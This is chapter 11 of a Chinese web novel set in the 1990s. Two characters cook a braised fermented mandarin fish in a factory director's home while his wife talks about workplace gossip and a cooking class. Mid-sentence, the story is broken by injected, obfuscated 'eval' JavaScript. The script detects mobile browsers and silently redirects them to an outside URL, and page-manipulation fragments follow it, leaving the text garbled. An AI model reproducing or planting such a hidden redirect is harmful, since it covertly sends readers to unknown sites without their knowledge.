11. 臭鳜鱼

作品:《九零之餐饮女王

    胖媳妇仿佛监工一样地盯着沈木犀和顾辰在厨房里做菜,她是害怕他们嚯嚯了她好容易省下来的油盐酱醋糖。


    沈木犀觉得挺好,这样自己可以不用来回翻找别人家厨房里的东西。


    而且有外人在,她处理和顾辰的关系也会显得轻松。


    即便外人问起,李主任老婆的这张大喇叭也能证明,她们只是简简单单地做了个饭。


    沈木犀想了想……


    别想了,李主任和他老婆估计也饿了。


    沈木犀将胖媳妇递过来的白布围裙往身上一挂,一双手便轻轻地将她耳后的发从挂在脖子上的绳子里取出。


    沈木犀觉得李主任的老婆也真是有眼色。


    “嘿嘿,小两口真不错哈。”李主任老婆瞧着两个人默契非常,忍不住夸赞。


    沈木犀这才反应过来,胖媳妇其实还在厨房门边,帮自己抓住头发的是顾辰。


    “你们李主任就没有这个小兄弟贴心,他啊只知道骂我,看着斯斯文文,其实那心眼子和我们庄稼人一样,粗得很。”李主任老婆边说边往外撇了撇自家男人,试探着把抱怨话说完。


    可是顾辰也没继续做什么,径自将刚才那条有些气味的鳜鱼放进了水磨石的池子里。


    自来水从水龙头里一堵一堵地喷涌而出,还流出一些锈水。


    胖媳妇不好意思,刚忙将水池旁边正在滴水的水缸掩住。


    只见水直直地冲了下来,顾辰将鱼放到水下冲洗,手里的这条鱼其实还比较新鲜。


    至于腐败发酵所产生的的味道,应该是用酱腌制的。


    这一切也看在沈木犀眼里。


    “姐,你这个鱼想必买得很贵吧。”


    “那哪成啊,你们李主任一个月就那么点儿工资,这都是我在鱼摊儿上捡的。”


    这个年代,吃鱼的家庭,虽然也逐步增多,但是能弄得差不多天天有鱼的家庭还是很少见的。


    胖媳妇一脸得意。


    “这些鱼都是我蹲点儿等它们死的一瞬间才买的。鱼在水池子里卖和在石台上卖肯定不一样。这边人,鱼都不太会弄,死鱼又嫌味道太大。反正臭鳜鱼都得腌制发酵,不如就便宜我了。”


    沈木犀和顾辰一边收拾着鱼一边听着胖媳妇怎么在菜场对线。


    李主任:“我爱人是个农村人,就会点儿这些,见笑了哈。”


    李主任将两个玻璃杯沏好了茶水递给沈木犀和顾辰。


    沈木犀:“还得是姐啊,看把家里安排得多好。”


    胖媳妇被李主任说了两句,脸色正有些尴尬,又被沈木犀简简单单一夸,紧张的脸显得舒展不少。


    沈木犀将手里的茶又递给李主任老婆。


    “姐,茶你喝,我们给你做这道臭鳜鱼,今天你也休息。”


    胖媳妇一时觉得先前态度不太好真是难为情,加上她来城里和这个院子里的邻居相处已经有7、8年了,但是从来没有得到这里人正眼瞧过。


    楼里的人,都嫌她从农村来,她经常送去新鲜蔬菜也被他们嫌弃是用有机肥浇的,后来见到胖媳妇更是闭门不见能躲便躲,一度让胖媳妇十分不自在。


    加上胖媳妇对于自己没有工作,依靠李主任一个人维系家庭开支也十分苦恼,生活上既要保证营养,又要保障一家人未来的生活。


    胖媳妇就成了整个职工宿舍里最小气、最节衣缩食的人。


    胖媳妇不在乎这些,只要能让自己花最少的钱,让他男人孩子补充到最好的营养,自己就算完成了基本家庭主妇的任务。


    胖媳妇罕见地将床下的花生油拎了出来,放在了灶台上。


    又担心二人给自己用多了,找出一个干净小碗到出。


    沈木犀和顾辰对视一眼,沈木犀只觉得这年头他家还有花生油,胖媳妇肯定费了不少心吧。


    馥郁的花生油香味散开,完全没有平时菜籽油的青芥之气。


    沈木犀将配料准备好,将花生油入锅,一层薄薄地底盐洒在锅内,见油泛起热气,将擦干净的鱼随锅边滑入锅内。


    锅内的油声从大声响变得成细碎的声音,鱼在锅内慢慢地煎,这时候不能着急,需要等一会儿。


    “千万别翻啊。”胖媳妇仔细盯着锅里的鱼。


    她怕鱼未定型,翻动容易散了。


    沈木犀:“好嘞,不翻。”


    胖媳妇的话被人应承,她满意地笑笑。


    沈木犀煎鱼这会儿功夫,询问起刚才胖媳妇说有人针对李主任的事情。


    “姐,你说李主任之前在厂里有人刁难他?”


    “可不是。”


    胖媳妇扭脸又看看阳台上的李主任,转过脸小声和沈木犀说道。


    “最近,厂子比较难,着急让他把车间租出去。这本没有什么,但是我们听说隔壁车间最近因为喝酒外出吃饭啥的总被查。我们家老李,又实在,面对那种只吃饭不明着说事的人,都不接招,就是怕绩效耽误他述职啥的,而且最重要的是也怕有人租厂子做些不好的事情,万一影响厂子发展怎么办。这段时间,估计也是因为老李不应酬的原因,很多人想给他穿小鞋。那告状信里可离谱了,说我做饭太臭,影响邻里关系。“


    话听此处,沈木犀觉得确实也有点儿扯了,她将煎好了的一面鱼翻动过来。


    “最近很多人要租车间吗?”


    “没有啊,就来了一个男的还带一个女的。磨磨唧唧说要见老李,我给拒了。”


    沈木犀手里没有停下,鱼已经煎到位了,白色肉的部分,已经有些黄焦糖色,不错,这个鳜鱼被腌制得非常好,经过高温,内里的肉还能呈现蒜瓣肉的质感。沈木犀从内心里佩服这个看着没有文化,但是做事讲究的妇人。


    “为啥啊?”


    “为啥,男的说这是她媳妇儿,那女的说不是。你说这种作风不良的人我们能跟他聊吗?”


    沈木犀本想将手里料汁倒入锅中,听到此处,不免有些心虚。


    顾辰见锅正在烧着,顺手将沈木犀手中料汁倒入锅。


    沈木犀这才反应过来,赶忙颠勺翻动,顾辰轻轻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918750|160333||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地接过沈木犀手中的炒勺,示意他来。


    胖媳妇笑着:“真好呀,还是你们这样好,他们那种连男女关系都搞不好,其他的事儿都别提了。”


    沈木犀没来由的被上了一课,觉得前辈说得在理。


    顾辰仍是不说话,但嘴边牵起一丝笑意。


    沈木犀:“你笑什么?”


    顾辰:“我看姐家里的豆瓣酱特别好,你看炒出来红色纯正,酱香挂汁肯定不错。”


    胖媳妇:“那肯定,这豆瓣酱,连辣椒带豆瓣都是我自己种出来做的。本来想给领居们分分,但是他们不识好赖。”


    只见锅里豆瓣酱的料汁被油炒香,泛起浓厚的酱香气,胖媳妇递过来一瓶开水。顾辰接过,缓缓地加入锅中。待锅内复开后,沈木犀又把煎好臭鳜鱼放入锅中。


    胖媳妇:“你们办过婚礼没有,要是没办,得抓紧时间。”


    顾辰一脸认真地点点头,没有一丝破绽,沈木犀只觉得顾辰真是可以,不当演员都可惜了。


    胖媳妇见二人只点头不接话,继续道:“我就是吃了没文化的亏,没上过学,又不懂技术,不然我肯定能比我们老李工资高。”


    沈木犀觉得胖媳妇这种人,其实很厉害只是很多时候都被贴上标签,认为她不可以,她似乎也就会被潜移默化的认为自己就是不可以。


    “姐,你有想过上学或者上个培训班什么的吗?有个一技之长,好工作啊。”


    “我是想啊,可是干什么呢?我倒是什么都能干,也想干。”


    “姐我们办烹饪培训班,成了之后,你随时过来呗。”


    “可以啊,我可以去啊。”


    锅里鱼汤收得差不多,胖媳妇将阳台上花盆里种的蒜苗叶子递给了顾辰。


    顾辰赶紧洗了将其切碎,只见蒜苗叶被热汤滚得更加翠绿,散发出浓浓蒜香。


    沈木犀拿过一个鱼盘递给顾辰,将鱼盛出锅。


    胖媳妇追着沈木犀的动作继续询问:“我……我可以出学费,让我去上课就行。”


    “姐,你来就是,我给出学费。”


    “这怎么行,你们是办班儿的,要是不收我的学费,他们会说你们这是……这是,对!行贿。”


    李主任:“是啊,我们的学费必须交的。”


    只见一条完整的臭鳜鱼摆上了餐桌。


    胖媳妇:“说好啊,你们学校赶紧办,我第一个报名。”


    李主任盯着桌上的诱人的鱼,一心只想吃饭了。


    胖媳妇:“你赶紧给人办了那个地址的事儿,别被另外那两口子给搅黄了。”


    李主任:“那俩人哪是什么两口子,最多算姘头。听说那男的叫陈炎,这两天被准丈人家给拒了,不让他入赘了,这两天都没再来烦我。”


    胖媳妇:“看到没有,还得是有稳定关系的人才能一起做事情。”


    胖媳妇转头嘱咐二人,顾辰笑着使劲点头。


    沈木犀哂笑不知道怎么接话,感觉自己被说了八卦,但是又被人嘱咐要好好处对象。